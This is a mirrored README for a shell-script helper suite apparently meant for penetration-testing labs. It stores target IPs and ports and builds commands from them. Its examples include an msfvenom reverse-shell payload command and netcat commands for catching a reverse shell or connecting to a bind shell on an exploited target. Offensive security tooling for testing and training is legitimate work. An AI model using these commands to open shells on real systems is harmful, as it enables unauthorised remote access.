Code Monkey home page Code Monkey logo

shell-pentesting-suite's Introduction

What is this

This project is a set of shell scripts that expand your shell with exported variables that you set and updates your shell environment instantly.

Installation

Run as root:

# ./install.sh

Usage

_target

The _target script saves IPv4 addresses, or changes IPv4 address if field already exists:

$ _target -t 127.0.0.1

This version saves another address with number specified by -n flag:

$ _target -t 173.194.222.106 -n 1

_port

The _port works the same as _target but saves port values:

$ _port -p 1337

Also can save more than one port as in -n flag:

$ _port -p 1338 -n 1

Importnant note: after executing _target or _port scripts new variables will be loaded into shell environment.

_options

The _options script parses dotfile and outputs its contents with some additional information in the following pattern:

  • available network interfaces/your localhost's corresponding IPv4 addresses/network's gateway IPv4 addresses
  • saved target addresses/their status: ONLINE/OFFLINE
  • saved port values
~$ _options
Localhost interfaces:
    interface: enp3s0
      enp3s0_ip: 10.0.1.3
       enp3s0_g: 10.0.1.1
    interface: tun0
        tun0_ip: 10.8.111.27
         tun0_g: 10.8.111.1
Target variables:
    name: target1    value: 173.194.222.106 host status: ONLINE
    name: target     value: 127.0.0.1       host status: ONLINE
Port variables:
    name: port       value: 1337
    name: port1      value: 1338

_pentest_assist

The _pentest_assist script parses dotfile, substitutes variables' corresponding values, as a result constructing commands specified with -m (mode) flag:

$ _pentest_assist -m useful-payloads -i tun0
   ┌ Reverse shell payload for buffer overflow
1. msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.8.111.27 LPORT=1337 --platform linux --arch x86 --format c
State your choice: 1

Or:

$ _pentest_assist -m nc
   ┌ Catch reverse shell from exploited target:
1. nc -nlvp 1337
   ┌ Connect to bind shell on the exloited target:
2. nc 127.0.0.1 1337
State your choice: 2

shell-pentesting-suite's People

Contributors

modernpacifist avatar

Watchers

 avatar

shell-pentesting-suite's Issues

_help

  1. Distribute if-blocks on each function
  2. Use case to call particular function on $1 argument

make a _todo script

a todo script that will output todo list in required order with ability to delete/modify/clear lines

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.